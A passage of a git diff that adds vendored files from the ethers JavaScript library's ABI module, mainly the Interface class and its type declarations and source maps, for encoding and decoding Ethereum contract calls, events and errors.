+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/abi/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAIH,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAE1C,OAAO,EAAE,mBAAmB,EAAE,mBAAmB,EAAE,MAAM,cAAc,CAAC;AAExE,OAAO,EACH,mBAAmB,EAAE,aAAa,EAAE,aAAa,EAAE,gBAAgB,EACnE,QAAQ,EAAE,gBAAgB,EAAE,aAAa,EAAE,SAAS,EAAE,cAAc,GACvE,MAAM,gBAAgB,CAAC;AAExB,OAAO,EACH,iBAAiB,EACjB,OAAO,EACP,SAAS,EACT,gBAAgB,EAAE,cAAc,EAAE,sBAAsB,EACxD,MAAM,EACT,MAAM,gBAAgB,CAAC;AAExB,OAAO,EAAE,KAAK,EAAE,MAAM,YAAY,CAAC;AAEnC,YAAY,EACR,YAAY,EAAE,gBAAgB,EAC9B,UAAU,EAAE,YAAY,EAAE,sBAAsB,EAAE,iBAAiB,EACtE,MAAM,gBAAgB,CAAC;AAExB,YAAY,EACR,YAAY,GACf,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/index.js b/node_modules/ethers/lib.commonjs/abi/index.js new file mode 100644 index 000000000000..b7bb84aa875b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/index.js @@ -0,0 +1,40 @@ +"use strict"; +/** + * The Application Binary Interface (ABI) describes how method input + * parameters should be encoded, their results decoded, and how to + * decode events and errors. + * + * See [About ABIs](docs-abi) for more details how they are used. + * + * @_section api/abi:Application Binary Interface [about-abi] + * @_navTitle: ABI + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Typed = exports.Result = exports.TransactionDescription = exports.LogDescription = exports.ErrorDescription = exports.Interface = exports.Indexed = exports.checkResultErrors = exports.StructFragment = exports.ParamType = exports.NamedFragment = exports.FunctionFragment = exports.Fragment = exports.FallbackFragment = exports.EventFragment = exports.ErrorFragment = exports.ConstructorFragment = exports.encodeBytes32String = exports.decodeBytes32String = exports.AbiCoder = void 0; +////// +var abi_coder_js_1 = require("./abi-coder.js"); +Object.defineProperty(exports, "AbiCoder", { enumerable: true, get: function () { return abi_coder_js_1.AbiCoder; } }); +var bytes32_js_1 = require("./bytes32.js"); +Object.defineProperty(exports, "decodeBytes32String", { enumerable: true, get: function () { return bytes32_js_1.decodeBytes32String; } }); +Object.defineProperty(exports, "encodeBytes32String", { enumerable: true, get: function () { return bytes32_js_1.encodeBytes32String; } }); +var fragments_js_1 = require("./fragments.js"); +Object.defineProperty(exports, "ConstructorFragment", { enumerable: true, get: function () { return fragments_js_1.ConstructorFragment; } }); +Object.defineProperty(exports, "ErrorFragment", { enumerable: true, get: function () { return fragments_js_1.ErrorFragment; } }); +Object.defineProperty(exports, "EventFragment", { enumerable: true, get: function () { return fragments_js_1.EventFragment; } }); +Object.defineProperty(exports, "FallbackFragment", { enumerable: true, get: function () { return fragments_js_1.FallbackFragment; } }); +Object.defineProperty(exports, "Fragment", { enumerable: true, get: function () { return fragments_js_1.Fragment; } }); +Object.defineProperty(exports, "FunctionFragment", { enumerable: true, get: function () { return fragments_js_1.FunctionFragment; } }); +Object.defineProperty(exports, "NamedFragment", { enumerable: true, get: function () { return fragments_js_1.NamedFragment; } }); +Object.defineProperty(exports, "ParamType", { enumerable: true, get: function () { return fragments_js_1.ParamType; } }); +Object.defineProperty(exports, "StructFragment", { enumerable: true, get: function () { return fragments_js_1.StructFragment; } }); +var interface_js_1 = require("./interface.js"); +Object.defineProperty(exports, "checkResultErrors", { enumerable: true, get: function () { return interface_js_1.checkResultErrors; } }); +Object.defineProperty(exports, "Indexed", { enumerable: true, get: function () { return interface_js_1.Indexed; } }); +Object.defineProperty(exports, "Interface", { enumerable: true, get: function () { return interface_js_1.Interface; } }); +Object.defineProperty(exports, "ErrorDescription", { enumerable: true, get: function () { return interface_js_1.ErrorDescription; } }); +Object.defineProperty(exports, "LogDescription", { enumerable: true, get: function () { return interface_js_1.LogDescription; } }); +Object.defineProperty(exports, "TransactionDescription", { enumerable: true, get: function () { return interface_js_1.TransactionDescription; } }); +Object.defineProperty(exports, "Result", { enumerable: true, get: function () { return interface_js_1.Result; } }); +var typed_js_1 = require("./typed.js"); +Object.defineProperty(exports, "Typed", { enumerable: true, get: function () { return typed_js_1.Typed; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/index.js.map b/node_modules/ethers/lib.commonjs/abi/index.js.map new file mode 100644 index 000000000000..1c3387415ecb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/abi/index.ts"],"names":[],"mappings":";AAAA;;;;;;;;;GASG;;;AAGH,MAAM;AACN,+CAA0C;AAAjC,wGAAA,QAAQ,OAAA;AAEjB,2CAAwE;AAA/D,iHAAA,mBAAmB,OAAA;AAAE,iHAAA,mBAAmB,OAAA;AAEjD,+CAGwB;AAFpB,mHAAA,mBAAmB,OAAA;AAAE,6GAAA,aAAa,OAAA;AAAE,6GAAA,aAAa,OAAA;AAAE,gHAAA,gBAAgB,OAAA;AACnE,wGAAA,QAAQ,OAAA;AAAE,gHAAA,gBAAgB,OAAA;AAAE,6GAAA,aAAa,OAAA;AAAE,yGAAA,SAAS,OAAA;AAAE,8GAAA,cAAc,OAAA;AAGxE,+CAMwB;AALpB,iHAAA,iBAAiB,OAAA;AACjB,uGAAA,OAAO,OAAA;AACP,yGAAA,SAAS,OAAA;AACT,gHAAA,gBAAgB,OAAA;AAAE,8GAAA,cAAc,OAAA;AAAE,sHAAA,sBAAsB,OAAA;AACxD,sGAAA,MAAM,OAAA;AAGV,uCAAmC;AAA1B,iGAAA,KAAK,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/interface.d.ts b/node_modules/ethers/lib.commonjs/abi/interface.d.ts new file mode 100644 index 000000000000..afa4ebb2dc77 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/interface.d.ts @@ -0,0 +1,382 @@ +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ +import { AbiCoder } from "./abi-coder.js"; +import { checkResultErrors, Result } from "./coders/abstract-coder.js"; +import { ConstructorFragment, ErrorFragment, EventFragment, FallbackFragment, Fragment, FunctionFragment, ParamType } from "./fragments.js"; +import { Typed } from "./typed.js"; +import type { BigNumberish, BytesLike, CallExceptionError, CallExceptionTransaction } from "../utils/index.js"; +import type { JsonFragment } from "./fragments.js"; +export { checkResultErrors, Result }; +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +export declare class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + readonly fragment: EventFragment; + /** + * The name of the Event. + */ + readonly name: string; + /** + * The full Event signature. + */ + readonly signature: string; + /** + * The topic hash for the Event. + */ + readonly topic: string; + /** + * The arguments passed into the Event with ``emit``. + */ + readonly args: Result; + /** + * @_ignore: + */ + constructor(fragment: EventFragment, topic: string, args: Result); +} +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +export declare class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + readonly fragment: FunctionFragment; + /** + * The name of the Function from the transaction ``data``. + */ + readonly name: string; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + readonly args: Result; + /** + * The full Function signature from the transaction ``data``. + */ + readonly signature: string; + /** + * The selector for the Function from the transaction ``data``. + */ + readonly selector: string; + /** + * The ``value`` (in wei) from the transaction. + */ + readonly value: bigint; + /** + * @_ignore: + */ + constructor(fragment: FunctionFragment, selector: string, args: Result, value: bigint); +} +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +export declare class ErrorDescription { + /** + * The matching fragment. + */ + readonly fragment: ErrorFragment; + /** + * The name of the Error. + */ + readonly name: string; + /** + * The arguments passed to the Error with ``revert``. + */ + readonly args: Result; + /** + * The full Error signature. + */ + readonly signature: string; + /** + * The selector for the Error. + */ + readonly selector: string; + /** + * @_ignore: + */ + constructor(fragment: ErrorFragment, selector: string, args: Result); +} +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +export declare class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + readonly hash: null | string; + /** + * @_ignore: + */ + readonly _isIndexed: boolean; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value: any): value is Indexed; + /** + * @_ignore: + */ + constructor(hash: null | string); +} +/** + * An **InterfaceAbi** may be any supported ABI format. + * + * A string is expected to be a JSON string, which will be parsed + * using ``JSON.parse``. This means that the value **must** be a valid + * JSON string, with no stray commas, etc. + * + * An array may contain any combination of: + * - Human-Readable fragments + * - Parsed JSON fragment + * - [[Fragment]] instances + * + * A **Human-Readable Fragment** is a string which resembles a Solidity + * signature and is introduced in [this blog entry](link-ricmoo-humanreadableabi). + * For example, ``function balanceOf(address) view returns (uint)``. + * + * A **Parsed JSON Fragment** is a JavaScript Object desribed in the + * [Solidity documentation](link-solc-jsonabi). + */ +export type InterfaceAbi = string | ReadonlyArray; +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +export declare class Interface { + #private; + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + readonly fragments: ReadonlyArray; + /** + * The Contract constructor. + */ + readonly deploy: ConstructorFragment; + /** + * The Fallback method, if any. + */ + readonly fallback: null | FallbackFragment; + /** + * If receiving ether is supported. + */ + readonly receive: boolean; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments: InterfaceAbi); + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal?: boolean): Array; + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson(): string; + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder(): AbiCoder; + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key: string): string; + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key: string): boolean; + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key: string, values?: Array): null | FunctionFragment; + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback: (func: FunctionFragment, index: number) => void): void; + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key: string): string; + /** + * Returns true if %%key%% (an event topic hash, event name or + * event signature) is present in the ABI. + * + * In the case of an event name, the name may be ambiguous, so + * accessing the [[EventFragment]] may require refinement. + */ + hasEvent(key: string): boolean; + /** + * Get the [[EventFragment]] for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple events match by name. + * + * If the %%key%% and %%values%% do not refine to a single event in + * the ABI, this will throw. + */ + getEvent(key: string, values?: Array): null | EventFragment; + /** + * Iterate over all events, calling %%callback%%, sorted by their name. + */ + forEachEvent(callback: (func: EventFragment, index: number) => void): void; + /** + * Get the [[ErrorFragment]] for %%key%%, which may be an error + * selector, error name or error signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple errors match by name. + * + * If the %%key%% and %%values%% do not refine to a single error in + * the ABI, this will throw. + */ + getError(key: string, values?: Array): null | ErrorFragment; + /** + * Iterate over all errors, calling %%callback%%, sorted by their name. + */ + forEachError(callback: (func: ErrorFragment, index: number) => void): void; + _decodeParams(params: ReadonlyArray, data: BytesLike): Result; + _encodeParams(params: ReadonlyArray, values: ReadonlyArray): string; + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values?: ReadonlyArray): string; + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment: ErrorFragment | string, data: BytesLike): Result; + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment: ErrorFragment | string, values?: ReadonlyArray): string; + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment: FunctionFragment | string, data: BytesLike): Result; + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment: FunctionFragment | string, values?: ReadonlyArray): string; + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment: FunctionFragment | string, data: BytesLike): Result; + makeError(_data: BytesLike, tx: CallExceptionTransaction): CallExceptionError; + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment: FunctionFragment | string, values?: ReadonlyArray): string; + encodeFilterTopics(fragment: EventFragment | string, values: ReadonlyArray): Array>; + encodeEventLog(fragment: EventFragment | string, values: ReadonlyArray): { + data: string; + topics: Array; + }; + decodeEventLog(fragment: EventFragment | string, data: BytesLike, topics?: ReadonlyArray): Result; + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx: { + data: string; + value?: BigNumberish; + }): null | TransactionDescription; + parseCallResult(data: BytesLike): Result; + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log: { + topics: ReadonlyArray; + data: string; + }): null | LogDescription; + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data: BytesLike): null | ErrorDescription; + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value: InterfaceAbi | Interface): Interface; +} +//# sourceMappingURL=interface.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/interface.d.ts.map b/node_modules/ethers/lib.commonjs/abi/interface.d.ts.map new file mode 100644 index 000000000000..d9367c1aef2f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/interface.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"interface.d.ts","sourceRoot":"","sources":["../../src.ts/abi/interface.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAUH,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAC1C,OAAO,EAAE,iB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AAK,CAAC,IAAI,GAAG,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC;IAgEtH,cAAc,CAAC,QAAQ,EAAE,aAAa,GAAG,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,GAAG,CAAC,GAAG;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;KAAE;IA6CrH,cAAc,CAAC,QAAQ,EAAE,aAAa,GAAG,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,MAAM,CAAC,EAAE,aAAa,CAAC,MAAM,CAAC,GAAG,MAAM;IAuEzG;;;;;OAKG;IACH,gBAAgB,CAAC,EAAE,EAAE;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,KAAK,CAAC,EAAE,YAAY,CAAA;KAAE,GAAG,IAAI,GAAG,sBAAsB;IAY3F,eAAe,CAAC,IAAI,EAAE,SAAS,GAAG,MAAM;IAIxC;;;;;OAKG;IACH,QAAQ,CAAC,GAAG,EAAE;QAAE,MAAM,EAAE,aAAa,CAAC,MAAM,CAAC,CAAC;QAAC,IAAI,EAAE,MAAM,CAAA;KAAC,GAAG,IAAI,GAAG,cAAc;IAapF;;;;;OAKG;IACH,UAAU,CAAC,IAAI,EAAE,SAAS,GAAG,IAAI,GAAG,gBAAgB;IAWpD;;;;;OAKG;IACH,MAAM,CAAC,IAAI,CAAC,KAAK,EAAE,YAAY,GAAG,SAAS,GAAG,SAAS;CAoB1D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/interface.js b/node_modules/ethers/lib.commonjs/abi/interface.js new file mode 100644 index 000000000000..b597be04c8ef --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/interface.js @@ -0,0 +1,1110 @@ +"use strict"; +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Interface = exports.Indexed = exports.ErrorDescription = exports.TransactionDescription = exports.LogDescription = exports.Result = exports.checkResultErrors = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../hash/index.js"); +const index_js_3 = require("../utils/index.js"); +const abi_coder_js_1 = require("./abi-coder.js"); +const abstract_coder_js_1 = require("./coders/abstract-coder.js"); +Object.defineProperty(exports, "checkResultErrors", { enumerable: true, get: function () { return abstract_coder_js_1.checkResultErrors; } }); +Object.defineProperty(exports, "Result", { enumerable: true, get: function () { return abstract_coder_js_1.Result; } }); +const fragments_js_1 = require("./fragments.js"); +const typed_js_1 = require("./typed.js"); +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + fragment; + /** + * The name of the Event. + */ + name; + /** + * The full Event signature. + */ + signature; + /** + * The topic hash for the Event. + */ + topic; + /** + * The arguments passed into the Event with ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(fragment, topic, args) { + const name = fragment.name, signature = fragment.format(); + (0, index_js_3.defineProperties)(this, { + fragment, name, signature, topic, args + }); + } +} +exports.LogDescription = LogDescription; +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + fragment; + /** + * The name of the Function from the transaction ``data``. + */ + name; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + args; + /** + * The full Function signature from the transaction ``data``. + */ + signature; + /** + * The selector for the Function from the transaction ``data``. + */ + selector; + /** + * The ``value`` (in wei) from the transaction. + */ + value; + /** + * @_ignore: + */ + constructor(fragment, selector, args, value) { + const name = fragment.name, signature = fragment.format(); + (0, index_js_3.defineProperties)(this, { + fragment, name, args, signature, selector, value + }); + } +} +exports.TransactionDescription = TransactionDescription; +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +class ErrorDescription { + /** + * The matching fragment. + */ + fragment; + /** + * The name of the Error. + */ + name; + /** + * The arguments passed to the Error with ``revert``. + */ + args; + /** + * The full Error signature. + */ + signature; + /** + * The selector for the Error. + */ + selector; + /** + * @_ignore: + */ + constructor(fragment, selector, args) { + const name = fragment.name, signature = fragment.format(); + (0, index_js_3.defineProperties)(this, { + fragment, name, args, signature, selector + }); + } +} +exports.ErrorDescription = ErrorDescription; +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + hash; + /** + * @_ignore: + */ + _isIndexed; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value) { + return !!(value && value._isIndexed); + } + /** + * @_ignore: + */ + constructor(hash) { + (0, index_js_3.defineProperties)(this, { hash, _isIndexed: true }); + } +} +exports.Indexed = Indexed; +// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require +const PanicReasons = { + "0": "generic panic", + "1": "assert(false)", + "17": "arithmetic overflow", + "18": "division or modulo by zero", + "33": "enum overflow", + "34": "invalid encoded storage byte array accessed", + "49": "out-of-bounds array access; popping on an empty array", + "50": "out-of-bounds access of an array or bytesN", + "65": "out of memory", + "81": "uninitialized function", +}; +const BuiltinErrors = { + "0x08c379a0": { + signature: "Error(string)", + name: "Error", + inputs: ["string"], + reason: (message) => { + return `reverted with reason string ${JSON.stringify(message)}`; + } + }, + "0x4e487b71": { + signature: "Panic(uint256)", + name: "Panic", + inputs: ["uint256"], + reason: (code) => { + let reason = "unknown panic code"; + if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) { + reason = PanicReasons[code.toString()]; + } + return `reverted with panic code 0x${code.toString(16)} (${reason})`; + } + } +}; +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +class Interface { + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + fragments; + /** + * The Contract constructor. + */ + deploy; + /** + * The Fallback method, if any. + */ + fallback; + /** + * If receiving ether is supported. + */ + receive; + #errors; + #events; + #functions; + // #structs: Map; + #abiCoder; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments) { + let abi = []; + if (typeof (fragments) === "string") { + abi = JSON.parse(fragments); + } + else { + abi = fragments; + } + this.#functions = new Map(); + this.#errors = new Map(); + this.#events = new Map(); + // this.#structs = new Map(); + const frags = []; + for (const a of abi) { + try { + frags.push(fragments_js_1.Fragment.from(a)); + } + catch (error) { + console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message); + } + } + (0, index_js_3.defineProperties)(this, { + fragments: Object.freeze(frags) + }); + let fallback = null; + let receive = false; + this.#abiCoder = this.getAbiCoder(); + // Add all fragments by their signature + this.fragments.forEach((fragment, index) => { + let bucket; + switch (fragment.type) { + case "constructor": + if (this.deploy) { + console.log("duplicate definition - constructor"); + return; + } + //checkNames(fragment, "input", fragment.inputs); + (0, index_js_3.defineProperties)(this, { deploy: fragment }); + return; + case "fallback": + if (fragment.inputs.length === 0) { + receive = true; + } + else { + (0, index_js_3.assertArgument)(!fallback || fragment.payable !== fallback.payable, "conflicting fallback fragments", `fragments[${index}]`, fragment); + fallback = fragment; + receive = fallback.payable; + } + return; + case "function": + //checkNames(fragment, "input", fragment.inputs); + //checkNames(fragment, "output", (fragment).outputs); + bucket = this.#functions; + break; + case "event": + //checkNames(fragment, "input", fragment.inputs); + bucket = this.#events; + break; + case "error": + bucket = this.#errors; + break; + default: + return; + } + // Two identical entries; ignore it + const signature = fragment.format(); + if (bucket.has(signature)) { + return; + } + bucket.set(signature, fragment); + }); + // If we do not have a constructor add a default + if (!this.deploy) { + (0, index_js_3.defineProperties)(this, { + deploy: fragments_js_1.ConstructorFragment.from("constructor()") + }); + } + (0, index_js_3.defineProperties)(this, { fallback, receive }); + } + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal) { + const format = (minimal ? "minimal" : "full"); + const abi = this.fragments.map((f) => f.format(format)); + return abi; + } + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson() { + const abi = this.fragments.map((f) => f.format("json")); + // We need to re-bundle the JSON fragments a bit + return JSON.stringify(abi.map((j) => JSON.parse(j))); + } + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder() { + return abi_coder_js_1.AbiCoder.defaultAbiCoder(); + } + // Find a function definition by any means necessary (unless it is ambiguous) + #getFunction(key, values, forceUnique) { + // Selector + if ((0, index_js_3.isHexString)(key)) { + const selector = key.toLowerCase(); + for (const fragment of this.#functions.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#functions) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + const lastValue = (values.length > 0) ? values[values.length - 1] : null; + let valueLength = values.length; + let allowOptions = true; + if (typed_js_1.Typed.isTyped(lastValue) && lastValue.type === "overrides") { + allowOptions = false; + valueLength--; + } + // Remove all matches that don't have a compatible length. The args + // may contain an overrides, so the match may have n or n - 1 parameters + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs.length; + if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!typed_js_1.Typed.isTyped(values[j])) { + continue; + } + // We are past the inputs + if (j >= inputs.length) { + if (values[j].type === "overrides") { + continue; + } + matching.splice(i, 1); + break; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + // We found a single matching signature with an overrides, but the + // last value is something that cannot possibly be an options + if (matching.length === 1 && values && values.length !== matching[0].inputs.length) { + const lastArg = values[values.length - 1]; + if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== "object") { + matching.splice(0, 1); + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + (0, index_js_3.assertArgument)(false, `ambiguous function description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#functions.get(fragments_js_1.FunctionFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key) { + const fragment = this.#getFunction(key, null, false); + (0, index_js_3.assertArgument)(fragment, "no matching function", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key) { + return !!this.#getFunction(key, null, false); + } + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key, values) { + return this.#getFunction(key, values || null, true); + } + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback) { + const names = Array.from(this.#functions.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#functions.get(name)), i); + } + } + // Find an event definition by any means necessary (unless it is ambiguous) + #getEvent(key, values, forceUnique) { + // EventTopic + if ((0, index_js_3.isHexString)(key)) { + const eventTopic = key.toLowerCase(); + for (const fragment of this.#events.values()) { + if (eventTopic === fragment.topicHash) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#events) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + // Remove all matches that don't have a compatible length. + for (let i = matching.length - 1; i >= 0; i--) { + if (matching[i].inputs.length < values.length) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!typed_js_1.Typed.isTyped(values[j])) { + continue; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + (0, index_js_3.assertArgument)(false, `ambiguous event description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = 